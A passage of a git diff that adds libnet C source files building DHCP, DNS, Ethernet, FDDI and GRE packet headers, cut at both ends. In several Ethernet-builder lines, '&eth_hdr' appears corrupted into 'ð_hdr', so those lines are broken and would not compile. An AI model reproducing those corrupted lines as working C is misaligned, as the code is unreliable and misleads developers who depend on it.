LIBNET_PBLOCK_DHCPV4_H); + if (p == NULL) + { + return (-1); + } + + memset(&dhcp_hdr, 0, sizeof(dhcp_hdr)); + dhcp_hdr.dhcp_opcode = opcode; + dhcp_hdr.dhcp_htype = htype; + dhcp_hdr.dhcp_hlen = hlen; + dhcp_hdr.dhcp_hopcount = hopcount; + dhcp_hdr.dhcp_xid = htonl(xid); + dhcp_hdr.dhcp_secs = htons(secs); + dhcp_hdr.dhcp_flags = htons(flags); + dhcp_hdr.dhcp_cip = htonl(cip); + dhcp_hdr.dhcp_yip = htonl(yip); + dhcp_hdr.dhcp_sip = htonl(sip); + dhcp_hdr.dhcp_gip = htonl(gip); + + if (chaddr) + { + memcpy(dhcp_hdr.dhcp_chaddr, chaddr, sizeof (dhcp_hdr.dhcp_chaddr)); + dhcp_hdr.dhcp_chaddr[sizeof(dhcp_hdr.dhcp_chaddr) - 1] = 0; + } + else + { + memset(dhcp_hdr.dhcp_chaddr, 0, sizeof (dhcp_hdr.dhcp_chaddr)); + } + + if (sname) + { + memcpy(dhcp_hdr.dhcp_sname, sname, sizeof (dhcp_hdr.dhcp_sname)); + dhcp_hdr.dhcp_sname[sizeof(dhcp_hdr.dhcp_sname) - 1] = 0; + } + else + { + memset(dhcp_hdr.dhcp_sname, 0, sizeof (dhcp_hdr.dhcp_sname)); + } + + if (file) + { + memcpy(dhcp_hdr.dhcp_file, file, sizeof (dhcp_hdr.dhcp_file)); + dhcp_hdr.dhcp_file[sizeof(dhcp_hdr.dhcp_file) - 1] = 0; + } + else + { + memset(dhcp_hdr.dhcp_file, 0, sizeof(dhcp_hdr.dhcp_file)); + } + dhcp_hdr.dhcp_magic = htonl(DHCP_MAGIC); /* should this be tunable? */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&dhcp_hdr, LIBNET_DHCPV4_H); + if (n == -1) + { + goto bad; + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + if (payload && payload_s) + { + n = libnet_pblock_append(l, p, payload, payload_s); + if (n == -1) + { + goto bad; + } + } + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_DHCPV4_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen, +u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, +u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, +u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + return (libnet_build_dhcpv4(opcode, htype, hlen, hopcount, xid, secs, + flags, cip, yip, sip, gip, chaddr, sname, file, payload, payload_s, + l, ptag)); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_dns.c b/libnet/src/libnet_build_dns.c new file mode 100644 index 0000000..fd88619 --- /dev/null +++ b/libnet/src/libnet_build_dns.c @@ -0,0 +1,116 @@ +/* + * $Id: libnet_build_dns.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_dns.c - DNS packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +libnet_ptag_t +libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags, + u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr, + u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, + libnet_t *l, libnet_ptag_t ptag) +{ + + u_int32_t n, h; + u_int offset; + libnet_pblock_t *p; + struct libnet_dnsv4_hdr dns_hdr; + + if (l == NULL) + { + return (-1); + } + + if (h_len != LIBNET_UDP_DNSV4_H && h_len != LIBNET_TCP_DNSV4_H) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): invalid header length: %d", __func__, h_len); + return (-1); + } + offset = (h_len == LIBNET_UDP_DNSV4_H ? sizeof(dns_hdr.h_len) : 0); + n = h_len + payload_s; + h = 0; /* no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DNSV4_H); + if (p == NULL) + { + return (-1); + } + + /* + * The sizeof(dns_hdr.h_len) is not counted is the packet size + * for TCP packet. + * And since this will be ignored for udp packets, let's compute it + * anyway. + */ + memset(&dns_hdr, 0, sizeof(dns_hdr)); + dns_hdr.h_len = htons(n - sizeof (dns_hdr.h_len)); + dns_hdr.id = htons(id); + dns_hdr.flags = htons(flags); + dns_hdr.num_q = htons(num_q); + dns_hdr.num_answ_rr = htons(num_anws_rr); + dns_hdr.num_auth_rr = htons(num_auth_rr); + dns_hdr.num_addi_rr = htons(num_addi_rr); + + /* + * A dirty trick: DNS can be either TCP or UDP based, and depending on + * that, the header changes. A 'length' field is present in TCP packets, + * but not in UDP packets. As they are the first 2 bytes of the header, + * they are skipped if the packet is UDP... + */ + n = libnet_pblock_append(l, p, ((u_int8_t *)&dns_hdr) + offset, h_len); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DNSV4_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_ethernet.c b/libnet/src/libnet_build_ethernet.c new file mode 100644 index 0000000..3c0d6f2 --- /dev/null +++ b/libnet/src/libnet_build_ethernet.c @@ -0,0 +1,160 @@ +/* + * $Id: libnet_build_ethernet.c,v 1.9 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_ethernet.c - ethernet packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_ethernet_hdr eth_hdr; + + if (l == NULL) + { + return (-1); + } + + /* sanity check injection type if we're not in advanced mode */ + if (l->injection_type != LIBNET_LINK && + !(((l->injection_type) & LIBNET_ADV_MASK))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): called with non-link layer wire injection primitive", + __func__); + p = NULL; + goto bad; + } + + n = LIBNET_ETH_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ETH_H); + if (p == NULL) + { + return (-1); + } + + memset(ð_hdr, 0, sizeof(eth_hdr)); + memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */ + memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */ + eth_hdr.ether_type = htons(type); /* packet type */ + + n = libnet_pblock_append(l, p, (u_int8_t *)ð_hdr, LIBNET_ETH_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ETH_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l) +{ + u_int32_t n, h; + struct libnet_ether_addr *src; + libnet_pblock_t *p; + libnet_ptag_t ptag; + struct libnet_ethernet_hdr eth_hdr; + + if (l == NULL) + { + return (-1); + } + + /* sanity check injection type if we're not in advanced mode */ + if (l->injection_type != LIBNET_LINK && + !(((l->injection_type) & LIBNET_ADV_MASK))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_autobuild_ethernet() called with non-link layer wire" + " injection primitive"); + p = NULL; + goto bad; + } + + n = LIBNET_ETH_H; + h = 0; + ptag = LIBNET_PTAG_INITIALIZER; + src = libnet_get_hwaddr(l); + if (src == NULL) + { + /* err msg set in libnet_get_hwaddr() */ + return (-1); + } + + /* + * Create a new pblock. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ETH_H); + if (p == NULL) + { + return (-1); + } + + memset(ð_hdr, 0, sizeof(eth_hdr)); + memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */ + memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */ + eth_hdr.ether_type = htons(type); /* packet type */ + + n = libnet_pblock_append(l, p, (u_int8_t *)ð_hdr, LIBNET_ETH_H); + if (n == -1) + { + goto bad; + } + + return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ETH_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} +/* EOF */ diff --git a/libnet/src/libnet_build_fddi.c b/libnet/src/libnet_build_fddi.c new file mode 100644 index 0000000..978f749 --- /dev/null +++ b/libnet/src/libnet_build_fddi.c @@ -0,0 +1,178 @@ +/* + * libnet + * libnet_build_fddi.c - Fiber Distributed Data Interface packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Jason Damron <jsdamron@hushmail.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, +u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + u_int16_t protocol_type; + libnet_pblock_t *p; + struct libnet_fddi_hdr fddi_hdr; + + if (l == NULL) + { + return (-1); + } + + /* sanity check injection type if we're not in advanced mode */ + if (l->injection_type != LIBNET_LINK && + !(((l->injection_type) & LIBNET_ADV_MASK))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): called with non-link layer wire injection primitive", + __func__); + p = NULL; + goto bad; + } + + n = LIBNET_FDDI_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_FDDI_H); + if (p == NULL) + { + return (-1); + } + + memset(&fddi_hdr, 0, sizeof(fddi_hdr)); + fddi_hdr.fddi_frame_control = fc; /* Class/Format/Priority */ + memcpy(fddi_hdr.fddi_dhost, dst, FDDI_ADDR_LEN); /* dst fddi address */ + memcpy(fddi_hdr.fddi_shost, src, FDDI_ADDR_LEN); /* source fddi address */ + fddi_hdr.fddi_llc_dsap = dsap; /* */ + fddi_hdr.fddi_llc_ssap = ssap; /* */ + fddi_hdr.fddi_llc_control_field = cf; /* Class/Format/Priority */ + memcpy(&fddi_hdr.fddi_llc_org_code, org, LIBNET_ORG_CODE_SIZE); + + /* Deal with unaligned int16_t for type */ + protocol_type = htons(type); + memcpy(&fddi_hdr.fddi_type, &protocol_type, sizeof(int16_t)); /* Protocol Type */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&fddi_hdr, LIBNET_FDDI_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_FDDI_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, +u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l) +{ + u_int32_t n, h; + u_int16_t protocol_type; + struct libnet_fddi_addr *src; + libnet_pblock_t *p; + libnet_ptag_t ptag; + struct libnet_fddi_hdr fddi_hdr; + + if (l == NULL) + { + return (-1); + } + + /* sanity check injection type if we're not in advanced mode */ + if (l->injection_type != LIBNET_LINK && + !(((l->injection_type) & LIBNET_ADV_MASK))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): called with non-link layer wire injection primitive", + __func__); + p = NULL; + goto bad; + } + + n = LIBNET_FDDI_H; + h = 0; + ptag = LIBNET_PTAG_INITIALIZER; + + /* FDDI and Ethernet have the same address size - so just typecast */ + src = (struct libnet_fddi_addr *) libnet_get_hwaddr(l); + if (src == NULL) + { + /* err msg set in libnet_get_hwaddr() */ + return (-1); + } + + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_FDDI_H); + if (p == NULL) + { + return (-1); + } + + memset(&fddi_hdr, 0, sizeof(fddi_hdr)); + fddi_hdr.fddi_frame_control = fc; /* Class/Format/Priority */ + memcpy(fddi_hdr.fddi_dhost, dst, FDDI_ADDR_LEN); /* destination fddi addr */ + memcpy(fddi_hdr.fddi_shost, src, FDDI_ADDR_LEN); /* source fddi addr */ + fddi_hdr.fddi_llc_dsap = dsap; /* */ + fddi_hdr.fddi_llc_ssap = ssap; /* */ + fddi_hdr.fddi_llc_control_field = cf; /* Class/Format/Priority */ + memcpy(&fddi_hdr.fddi_llc_org_code, org, LIBNET_ORG_CODE_SIZE); + + /* Deal with unaligned int16_t for type */ + protocol_type = htons(type); + memcpy(&fddi_hdr.fddi_type, &protocol_type, sizeof(int16_t)); + + n = libnet_pblock_append(l, p, (u_int8_t *)&fddi_hdr, LIBNET_FDDI_H); + if (n == -1) + { + goto bad; + } + + return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_FDDI_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} +/* EOF */ diff --git a/libnet/src/libnet_build_gre.c b/libnet/src/libnet_build_gre.c new file mode 100644 index 0000000..620c27a --- /dev/null +++ b/libnet/src/libnet_build_gre.c @@ -0,0 +1,399 @@ +/* + * libnet + * libnet_build_gre.c - GRE packet assembler + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +/* + * Overall packet + * + * The entire encapsulated packet would then have the form: + * + * --------------------------------- + * | | + * | Delivery Header | + * | | + * --------------------------------- + * | | + * | GRE Header | + * | | + * --------------------------------- + * | | + * | Payload packet | + * | | + * --------------------------------- + * + * RFC 1701 defines a header. + * A new RFC (2784) has changed the header and proposed to remove the key + * and seqnum. + * A newer RFC (2890) has changed the header proposed in RFC 2784 by putting + * back key and seqnum. + * These will be supported the day IETF'guys stop this mess ! + * + * FR + */ + + +/* + * Generic Routing Encapsulation (GRE) + * RFC 1701 http://www.faqs.org/rfcs/rfc1701.html + * + * + * Packet header + * + * The GRE packet header has the form: + * + * 0 1 2 3 + * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * |C|R|K|S|s|Recur| Flags | Ver | Protocol Type | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Checksum (optional) | Offset (optional) | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Key (optional) | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Sequence Number (optional) | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Routing (optional) | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * + * Enhanced GRE header + * + * See rfc 2637 for details. It is used for PPTP tunneling. + * + * 0 1 2 3 + * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * |C|R|K|S|s|Recur|A| Flags | Ver | Protocol Type | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Key (HW) Payload Length | Key (LW) Call ID | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Sequence Number (Optional) | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Acknowledgment Number (Optional) | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * + */ +#if 0 +static void +__libnet_print_gre_flags_ver(u_int16_t fv) +{ + printf("version = %d (%d) -> ", + fv & GRE_VERSION_MASK, libnet_getgre_length(fv)); + if (fv & GRE_CSUM) + { + printf("CSUM "); + } + if (fv & GRE_ROUTING) + { + printf("ROUTING "); + } + if (fv & GRE_KEY) + { + printf("KEY "); + } + if (fv & GRE_SEQ) + { + printf("SEQ "); + } + if (fv & GRE_ACK) + { + printf("ACK "); + } + printf("\n"); +} +#endif + +/* FIXME: what is the portability of the "((struct libnet_gre_hdr*)0)->" ? */ +u_int32_t +libnet_getgre_length(u_int16_t fv) +{ + + u_int32_t n = LIBNET_GRE_H; + /* + * If either the Checksum Present bit or the Routing Present bit are + * set, BOTH the Checksum and Offset fields are present in the GRE + * packet. + */ + + if ((!(fv & GRE_VERSION_MASK) && (fv & (GRE_CSUM|GRE_ROUTING))) || /* v0 */ + (fv & GRE_VERSION_MASK) ) /* v1 */ + { + n += sizeof( ((struct libnet_gre_hdr *)0)->gre_sum) + + sizeof( ((struct libnet_gre_hdr *)0)->gre_offset); + } + + if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_KEY)) || /* v0 */ + ( (fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) ) /* v1 */ + { + n += sizeof( ((struct libnet_gre_hdr *)0)->gre_key); + } + + if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) || /* v0 */ + ( (fv & GRE_VERSION_MASK) && (fv & GRE_ACK)) ) /* v1 */ + { + n += sizeof( ((struct libnet_gre_hdr *)0)->gre_seq ); + } + + return (n); +} + +libnet_ptag_t +libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t sum, +u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n; + libnet_pblock_t *p; + struct libnet_gre_hdr gre_hdr; + + if (l == NULL) + { + return (-1); + } + + n = libnet_getgre_length(fv) + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_H); + if (p == NULL) + { + return (-1); + } + + gre_hdr.flags_ver = htons(fv); + gre_hdr.type = htons(type); + n = libnet_pblock_append(l, p, (u_int8_t *)&gre_hdr, LIBNET_GRE_H); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + + if ((!(fv & GRE_VERSION_MASK) && (fv & (GRE_CSUM|GRE_ROUTING))) || /* v0 */ + (fv & GRE_VERSION_MASK)) /* v1 */ + { + sum = htons(sum); + n = libnet_pblock_append(l, p, (u_int8_t*)&sum, + sizeof(gre_hdr.gre_sum)); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + offset = htons(offset); + n = libnet_pblock_append(l, p, (u_int8_t*)&offset, + sizeof(gre_hdr.gre_offset)); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + } + + if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_KEY)) || /* v0 */ + ( (fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) ) /* v1 */ + { + key = htonl(key); + n = libnet_pblock_append(l, p, (u_int8_t*)&key, + sizeof(gre_hdr.gre_key)); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + } + + if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) || /* v0 */ + ( (fv & GRE_VERSION_MASK) && (fv & GRE_ACK)) ) /* v1 */ + { + seq = htonl(seq); + n = libnet_pblock_append(l, p, (u_int8_t*)&seq, + sizeof(gre_hdr.gre_seq)); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if ( (fv & GRE_CSUM) && (!sum) ) + { + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + + return (ptag ? ptag : libnet_pblock_update(l, p, len, LIBNET_PBLOCK_GRE_H)); + +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_egre(u_int16_t fv, u_int16_t type, u_int16_t sum, +u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + return (libnet_build_gre(fv, type, sum, offset, key, seq, len, + payload, payload_s, l, ptag)); +} + +/* + * Routing (variable) + * + * The Routing field is optional and is present only if the Routing + * Present bit is set to 1. + * + * The Routing field is a list of Source Route Entries (SREs). Each + * SRE has the form: + * + * 0 1 2 3 + * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Address Family | SRE Offset | SRE Length | + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * | Routing Information ... + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + * + */ +libnet_ptag_t +libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length, +u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n; + libnet_pblock_t *p; + struct libnet_gre_sre_hdr sre_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_GRE_SRE_H + length + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_SRE_H); + if (p == NULL) + { + return (-1); + } + sre_hdr.af = htons(af); + sre_hdr.sre_offset = offset; + sre_hdr.sre_length = length; + n = libnet_pblock_append(l, p, (u_int8_t *)&sre_hdr, LIBNET_GRE_SRE_H); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + + if ((routing && !length) || (!routing && length)) + { + sprintf(l->err_buf, "%s(): routing inconsistency\n", __func__); + goto bad; + } + + if (routing && length) + { + n = libnet_pblock_append(l, p, routing, length); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, 0, + LIBNET_PBLOCK_GRE_SRE_H)); + +bad: + libnet_pblock_delete(l, p); + return (-1); + +} + +libnet_ptag_t 